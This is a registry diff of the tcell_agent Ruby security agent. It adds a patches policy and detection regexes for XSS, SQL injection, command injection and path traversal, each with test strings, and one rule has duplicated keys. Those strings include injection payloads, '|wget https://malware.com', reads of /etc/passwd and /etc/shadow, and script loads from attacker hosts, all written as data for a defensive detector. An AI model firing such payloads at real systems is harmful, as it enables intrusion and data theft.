tcell_agent 0.2.16 → 0.2.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: f85f2f3d36743fb454fedfe89d0405f25ba46fa4
4
- data.tar.gz: 328a8ab46597707c4305b40b707d48a004f84ac5
3
+ metadata.gz: b107a46d2c8ac57564b91097fe2c81e412469e7a
4
+ data.tar.gz: 60487a47c5ad5c02db8188748f9711a6d8a07476
5
5
  SHA512:
6
- metadata.gz: 0a7f284d81621c91f7f142ea8c1bbc3941b64de7d9c203d5d2b07def0b351c766b8fbf750e763e9d9013c02ec2a0ac9e47c722bdc19db584aa2fa0920b69a5dc
7
- data.tar.gz: 7637ca1c15dbeadc23ef5d72922d2f0e675653d0349c5ccc31dd3d2a394ec93298568047ca7a75eaeda61aca05dae252187be33e29a783e28b0b05b425ae305a
6
+ metadata.gz: 52f240c551aa5f4013301031d21570c66ec595eb6e1ac9d454b5b5ede7d649e8924a26acf8fa302c029fd81316472f5771477c2a58afa690cc23617890a39652
7
+ data.tar.gz: 34e537a766d75d51de5182a2230f66bfbbfbbd67ed34e72cd0ddb652a3bc5a60a8f7f9c86654bf02557450e202819897c66fa4f8874ec46c01dce8fb0a231700
@@ -16,6 +16,7 @@ require "tcell_agent/policies/http_redirect_policy"
16
16
  require "tcell_agent/policies/secure_headers_policy"
17
17
  require "tcell_agent/policies/honeytokens_policy"
18
18
  require "tcell_agent/policies/appsensor_policy"
19
+ require "tcell_agent/policies/patches_policy"
19
20
 
20
21
  require "tcell_agent/sensor_events/server_agent"
21
22
 
@@ -12,6 +12,7 @@ require "tcell_agent/policies/honeytokens_policy"
12
12
  require "tcell_agent/policies/appsensor_policy"
13
13
  require "tcell_agent/policies/login_fraud_policy"
14
14
  require "tcell_agent/policies/dataloss_policy"
15
+ require "tcell_agent/policies/patches_policy"
15
16
 
16
17
  module TCellAgent
17
18
  class PolicyTypes
@@ -24,6 +25,7 @@ module TCellAgent
24
25
  HoneyTokens = "exp-honeytokens"
25
26
  LoginFraud = "login"
26
27
  DataLoss = "dlp"
28
+ Patches = "patches"
27
29
 
28
30
  ClassMap = {
29
31
  CSP=>TCellAgent::Policies::ContentSecurityPolicy,
@@ -34,8 +36,9 @@ module TCellAgent
34
36
  AppSensor=>TCellAgent::Policies::AppSensorPolicy,
35
37
  HoneyTokens=>TCellAgent::Policies::HoneytokensPolicy,
36
38
  LoginFraud=>TCellAgent::Policies::LoginFraudPolicy,
37
- DataLoss=>TCellAgent::Policies::DataLossPolicy
39
+ DataLoss=>TCellAgent::Policies::DataLossPolicy,
40
+ Patches=>TCellAgent::Policies::PatchesPolicy
38
41
  }
39
42
 
40
43
  end
41
- end
44
+ end
@@ -21,7 +21,7 @@ module TCellAgent
21
21
  @rule_info = {}
22
22
 
23
23
  if File.file?(filename)
24
- rules_from_file = YAML.load(File.open(filename).read)
24
+ rules_from_file = JSON.parse(File.open(filename).read)
25
25
  rule_types = rules_from_file.fetch("sensors", {})
26
26
 
27
27
  rule_types.each do |sensor_name, sensor_config|
@@ -50,7 +50,7 @@ module TCellAgent
50
50
 
51
51
  return if pattern_id == nil or pattern == nil
52
52
 
53
- pattern_regex = Regexp.new(pattern)
53
+ pattern_regex = Regexp.new(pattern, Regexp::MULTILINE | Regexp::IGNORECASE)
54
54
  enabled = rule_dict.fetch("enabled", true)
55
55
 
56
56
  rule_pattern = AppSensorRulePattern.new(pattern_id, pattern_regex, enabled)
@@ -1,5 +1,5 @@
1
1
  {
2
- "version":"20160322",
2
+ "version":"20160516",
3
3
  "sensors":{
4
4
  "xss":{
5
5
  "patterns":[
@@ -7,43 +7,73 @@
7
7
  "title":"Basic Injection",
8
8
  "sophistication":1,
9
9
  "common": "(?:<(script|iframe|embed|frame|frameset|object|img|applet|body|html|style|layer|link|ilayer|meta|bgsound))",
10
+ "tests": {
11
+ "shouldFind":["\n\n<scRipT>document.write(1)</script>","<body onload=\"abc\">","<script>alert(123)</script>","<script>alert(\"hellox world\");</script>","9<script/src=http/attacker.com>"],
12
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
13
+ },
10
14
  "id": "1"
11
15
  },
12
16
  {
13
17
  "title":"Alert or Event XSS",
14
18
  "sophistication":2,
15
19
  "common": "(?:(alert|on\\w+|function\\s+\\w+)\\s*\\(\\s*(['+\\d\\w](,?\\s*['+\\d\\w]*)*)*\\s*\\))",
20
+ "tests":{
21
+ "shouldFind":["<input onmouseover='alert(1)'>","<input/onmouseover='alert(1)'>"],
22
+ "shouldIgnore":["<h1>hi</h1>","Bob","Sammy"]
23
+ },
16
24
  "id": "2"
17
25
  },
18
- {
19
- "title":"Tag Breaks",
20
- "sophistication":2,
21
- "common": "(?:\\\"[^\\\"]*[^-]?>)|(?:[^\\w\\s]\\s*\\/>)|(?:>\\\")",
22
- "id": "3"
23
- },
24
26
  {
25
27
  "title":"Attribute Breaks",
26
28
  "sophistication":3,
27
- "common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
28
- "id": "4"
29
+ "common": "(?:\\\"+.*[<=]\\s*\\\"[^\\\"]+\\\")|(?:\\\"\\s*\\w+\\s*=)|(?:>\\w=\\/)|(?:#.+\\)[\\\"\\s]*>)|(?:\\\"\\s*(?:src|style|on\\w+)\\s*=\\s*\\\")|(?:[^\\\"]?\\\"[,;\\s]+\\w*[\\[\\(])(?:^>[\\w\\s]*<\\/?\\w{2,}>)",
30
+ "tests":{
31
+ "shouldFind":["<input src=\"b\" onmouseover=\"alert(1)\" test=\"abc\">"],
32
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
33
+ },
34
+ "id": "4"
29
35
  },
30
36
  {
31
37
  "title":"Basic Obfuscation",
32
38
  "sophistication":3,
33
39
  "common": "(?:[\\\".]script\\s*\\()|(?:\\$\\$?\\s*\\(\\s*[\\w\\\"])|(?:\\/[\\w\\s]+\\/\\.)|(?:=\\s*\\/\\w+\\/\\s*\\.)|(?:(?:this|window|top|parent|frames|self|content)\\[\\s*[(,\\\"]*\\s*[\\w\\$])|(?:,\\s*new\\s+\\w+\\s*[,;)])",
34
- "id": "5"
40
+ "tests": {
41
+ "shouldFind":[",YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")"],
42
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
43
+ },
44
+ "id": "5"
35
45
  },
36
46
  {
37
47
  "title":"Common Concatenation",
38
48
  "sophistication":3,
39
49
  "common": "(?:=\\s*\\w+\\s*\\+\\s*\\\")|(?:\\+=\\s*\\(\\s\\\")|(?:!+\\s*[\\d.,]+\\w?\\d*\\s*\\?)|(?:=\\s*\\[s*\\])|(?:\\\"\\s*\\+\\s*\\\")|(?:[^\\s]\\[\\s*\\d+\\s*\\]\\s*[;+])|(?:\\\"\\s*[&|]+\\s*\\\")|(?:\\/\\s*\\?\\s*\\\")|(?:\\/\\s*\\)\\s*\\[)|(?:\\d\\?.+:\\d)|(?:\\]\\s*\\[\\W*\\w)|(?:[^\\s]\\s*=\\s*\\/)",
40
- "id": "6"
50
+ "tests": {
51
+ "shouldFind":["= werewr + \""],
52
+ "shouldIgnore":["<h1>hi</h1>","<i class=\"test\">test</i>","Bob","Sammy","<i>","onmouseover","\"alert(1)\""]
53
+ },
54
+ "id": "6"
41
55
  },
42
56
  {
43
57
  "title":"IFrame Tag Injection",
44
58
  "sophistication":1,
45
59
  "common": "<iframe.*",
60
+ "tests": {
61
+ "shouldFind":["Sam\n<h3><iframe/src=\\\\malware.xcc/>"],
62
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
63
+ },
46
64
  "id": "7"
65
+ },
66
+ {
67
+ "title":"JavaScript URL",
68
+ "sophistication":1,
69
+ "common": "\\b(src|href|lowsrc|url|content)\\b\\W*?\\bjavascript:",
70
+ "tests": {
71
+ "shouldFind":["\" href=\"javascript:alert(1)\"","' url='javascript:alert(1)'","<input type=image src=javascript:","<meta http-equiv=\"refresh\" content=\"javascript:..."],
72
+ "shouldIgnore":["<h1>hi</h1>","Bob","Script"]
73
+ },
74
+ "id": "8"
75
+
76
+
47
77
  }
48
78
  ]
49
79
  },
@@ -55,13 +85,20 @@
55
85
  "sophistication":2,
56
86
  "id":"1",
57
87
  "common":"(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$)",
58
- "ruby":"(?i:(?:[\\;\\|\\`]\\W*?\\bcc|\\b(wget|curl))\\b|\\/cc(?:[\\'\\\"\\|\\;\\`\\-\\s]|$))"
88
+ "tests": {
89
+ "shouldFind":["|wget https://malware.com"],
90
+ "shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer"]
91
+ }
59
92
  },
60
93
  {
61
94
  "title":"Common Command Attempts",
62
95
  "sophistication":1,
63
96
  "id":"2",
64
- "common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\\\\\/c)|d(?:\\b\\W*?[\\\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\\b)))"
97
+ "common":"(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:\\.exe|32)\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}?\\+.{0,3}x))|[\\;\\|\\`]\\W*?\\b(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)\\b|g(?:\\+\\+|cc\b)))",
98
+ "tests": {
99
+ "shouldFind":["test|echo hi","abc;nc","`ls /etc/passwd`"],
100
+ "shouldIgnore":["aB--D_C=","union soldier", "a", "select", "James O'Connor", "Like this or that", "divide and conquer","david;bob"]
101
+ }
65
102
  }
66
103
  ]
67
104
  },
@@ -71,7 +108,12 @@
71
108
  {
72
109
  "title":"Common Encoding Obfuscations",
73
110
  "sophistication":3,
74
- "common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
111
+ "common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
112
+ "java": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))","common": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|\\{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
113
+ "tests": {
114
+ "shouldFind":["') or ('1'='1--","') or ('1'='1--","1 OR '1'!=0","aa' LIKE md5(1) or '1"],
115
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
116
+ },
75
117
  "id": "1"
76
118
  },
77
119
  {
@@ -81,50 +123,80 @@
81
123
  "id": "2"
82
124
  },
83
125
  {
84
- "title":"Comment Injection",
126
+ "title":"Conditional Attempts",
127
+ "sophistication":3,
128
+ "common": "(?:[\\s()]case\\s*\\()|(?:\\)\\s*like\\s*\\()|(?:having\\s*[^\\s]+\\s*[^\\w\\s])|(?:if\\s?\\([\\d\\w]\\s*[=<>~])",
129
+ "tests": {
130
+ "shouldFind":["' or id= 1 having 1 #1 !"],
131
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
132
+ },
133
+ "id": "7"
134
+ },
135
+ {
136
+ "title":"Union Attempts",
137
+ "sophistication":3,
138
+ "java": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
139
+ "ruby": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[(\\[]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
140
+ "common": "(?:union\\s*(?:all|distinct|[(!@]*)\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[^?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\()",
141
+ "tests": {
142
+ "shouldFind":["‘union select all 1,2,x,x,x,x —-", "‘union select 1,2,3,x,x,x,x,@@version,x–-","‘union select UTL_INADDR.get_host_address,null,null,null,null from dual–-"],
143
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
144
+ },
145
+ "id": "8"
146
+ },
147
+ {
148
+ "title":"SQL Comment Sequence",
85
149
  "sophistication":1,
86
150
  "common": "([';]--|--[\\s\\r\\n\\v\\f]|(?:--[^-]*?-)|([^\\-&])#.*?[\\s\\r\\n\\v\\f]|;?\\\\x00)",
151
+ "tests": {
152
+ "shouldFind":["'--","1=1;\\x00"],
153
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer"]
154
+ },
87
155
  "id": "3"
88
156
  },
89
157
  {
90
- "title":"Extraction Attempts 1",
158
+ "title":"Extraction Attempts",
91
159
  "sophistication":1,
92
160
  "common": "(?:(?:@.+=\\s*?\\(\\s*?select)|(?:\\d+\\s*?(x?or|div|like|between|and)\\s*?\\d+\\s*?[\\-+])|(?:\\/\\w+;?\\s+(?:having|and|x?or|div|like|between|and|select)\\W)|(?:\\d\\s+group\\s+by.+\\()|(?:(?:;|#|--)\\s*?(?:drop|alter))|(?:(?:;|#|--)\\s*?(?:update|insert)\\s*?\\w{2,})|(?:[^\\w]SET\\s*?@\\w+)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)[\\s(]+\\w+[\\s)]*?[!=+]+[\\s\\d]*?[\\\"'`\u00b4\u2019\u2018=()]))",
161
+ "tests": {
162
+ "shouldFind":["';Drop table users"],
163
+ "shouldIgnore":["aB--D_C=","union soldier", "select", "James O'Connor", "Like this or that", "divide and conquer", "Sam; James"]
164
+ },
93
165
  "id": "4"
94
- },
95
- {
96
- "title":"Extraction Attempts 2",
97
- "sophistication":2,
98
- "pattern": "(?:(?:in\\s*?\\(+\\s*?select)|(?:(?:n?and|x?x?or|div|like|between|and|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*?\\(|sounds\\s+like\\s*?[\\\"'`\u00b4\u2019\u2018]|[=\\d]+x))|([\\\"'`\u00b4\u2019\u2018]\\s*?\\d\\s*?(?:--|#))|(?:[\\\"'`\u00b4\u2019\u2018][\\%&<>^=]+\\d\\s*?(=|x?or|div|like|between|and))|(?:[\\\"'`\u00b4\u2019\u2018]\\W+[\\w+-]+\\s*?=\\s*?\\d\\W+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?\\d.+[\\\"'`\u00b4\u2019\u2018]?\\w)|(?:[\\\"'`\u00b4\u2019\u2018]\\|?[\\w-]{3,}[^\\w\\s.,]+[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?is\\s*?[\\d.]+\\s*?\\W.*?[\\\"'`\u00b4\u2019\u2018]))",
99
- "id": "5"
100
- },
101
- {
102
- "title":"Extraction Attempts 3",
103
- "sophistication":3,
104
- "pattern": "(?:(?:\\d[\\\"'`\u00b4\u2019\u2018]\\s+[\\\"'`\u00b4\u2019\u2018]\\s+\\d)|(?:^admin\\s*?[\\\"'`\u00b4\u2019\u2018]|(\\/\\*)+[\\\"'`\u00b4\u2019\u2018]+\\s?(?:--|#|\\/\\*|{)?)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?\\b(x?or|div|like|between|and)\\b\\s*?[+<>=(),-]\\s*?[\\d\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[^\\w\\s]?=\\s*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\W*?[+=]+\\W*?[\\\"'`\u00b4\u2019\u2018])|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=+-]+.*?[\\\"'`\u00b4\u2019\u2018(].*?$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?[!=|][\\d\\s!=]+.*?\\d+$)|(?:[\\\"'`\u00b4\u2019\u2018]\\s*?like\\W+[\\w\\\"'`\u00b4\u2019\u2018(])|(?:\\sis\\s*?0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:[\\\"'`\u00b4\u2019\u2018][<>~]+[\\\"'`\u00b4\u2019\u2018]))",
105
- "id": "6"
106
166
  }
107
167
  ]
108
168
  },
109
169
  "fpt":{
110
170
  "patterns":[
111
171
  {
112
- "title":"Windows Probing",
113
- "sophistication":1,
172
+ "title":"General Traversal",
173
+ "sophistication":2,
114
174
  "common": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.+)?)|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
115
175
  "ruby": "(?:(?:\\/|\\\\)?\\.+(\\/|\\\\)(?:\\.*))|(?:\\w+\\.exe\\??\\s)|(?:;\\s*\\w+\\s*\\/[\\w*-]+\\/)|(?:\\d\\.\\dx\\|)|(?:%(?:c0\\.|af\\.|5c\\.))|(?:\\/(?:%2e){2})",
176
+ "tests":{
177
+ "shouldFind":["/.../.../.../.../.../","\\0../../../../../../etc/passwd","../../../../../../etc/shadow"],
178
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
179
+ },
116
180
  "id": "1"
117
181
  },
118
182
  {
119
- "title":"Unix Probing",
120
- "sophistication":1,
183
+ "title":"Common System Probing",
184
+ "sophistication":4,
121
185
  "common": "(?:%c0%ae\\/)|(?:(?:\\/|\\\\)(home|conf|usr|etc|proc|opt|s?bin|local|dev|tmp|kern|[br]oot|sys|system|windows|winnt|program|%[a-z_-]{3,}%)(?:\\/|\\\\))|(?:(?:\\/|\\\\)inetpub|localstart\\.asp|boot\\.ini)",
186
+ "tests":{
187
+ "shouldFind":["/./././././././././././boot.ini","/home/apache/conf/httpd.conf"],
188
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
189
+ },
122
190
  "id": "2"
123
191
  },
124
192
  {
125
- "title":"Attempt for /etc/passwd",
193
+ "title":"Attempt for /etc/passwd, shadow",
126
194
  "sophistication":1,
127
- "common": "(?:etc\\/\\W*passwd)",
195
+ "common": "(?:etc\\/\\W*passwd)|(?:etc\\/\\W*shadow)",
196
+ "tests":{
197
+ "shouldFind":["/etc/passwd"],
198
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
199
+ },
128
200
  "id": "3"
129
201
  }
130
202
  ]
@@ -135,7 +207,12 @@
135
207
  "title":"Any Null Byte",
136
208
  "sophistication":1,
137
209
  "id":"1",
138
- "common":"\\0"
210
+ "common":"\\0",
211
+ "java":"\u0000",
212
+ "tests":{
213
+ "shouldFind":["Duh\u0000","\u0000","\n\rOh\u0000No"],
214
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
215
+ }
139
216
  }
140
217
  ]
141
218
  },
@@ -145,7 +222,11 @@
145
222
  "title":"Any Line-Break Character",
146
223
  "sophistication":1,
147
224
  "id":"1",
148
- "common":"(\\n|\\r)"
225
+ "common":"(\\n|\\r)",
226
+ "tests":{
227
+ "shouldFind":["Duh\r","\r\n","\n\rOh\\0No"],
228
+ "shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
229
+ }
149
230
  }
150
231
  ]
151
232
  }
@@ -108,6 +108,10 @@ module TCellAgent
108
108
  read_config_using_env
109
109
  read_config_from_file(@config_filename)
110
110
 
111
+ if ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"]
112
+ puts "tCell.io Agent: [DEPRECATED] TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS is deprecated, please switch to TCELL_AGENT_ALLOW_UNENCRYPTED_APPFIREWALL_PAYLOADS."
113
+ end
114
+
111
115
  # Because ENV can override this one
112
116
  env_unencrypted_firewall =
113
117
  if (ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"] != nil)
@@ -114,7 +114,6 @@ module TCellAgent
114
114
  vuln_param,
115
115
  appsensor_meta.route_id,
116
116
  {"t" => type_of_param}.to_json,
117
- appsensor_meta.transaction_id,
118
117
  appsensor_meta.session_id,
119
118
  appsensor_meta.user_id,
120
119
  vuln_value
@@ -13,7 +13,6 @@ module TCellAgent
13
13
  parameter,
14
14
  appsensor_meta.route_id,
15
15
  data,
16
- appsensor_meta.transaction_id,
17
16
  appsensor_meta.session_id,
18
17
  appsensor_meta.user_id,
19
18
  payload,
@@ -39,17 +39,20 @@ module TCellAgent
39
39
  "retr" => RetrSensor,
40
40
  "login" => LoginSensor}
41
41
 
42
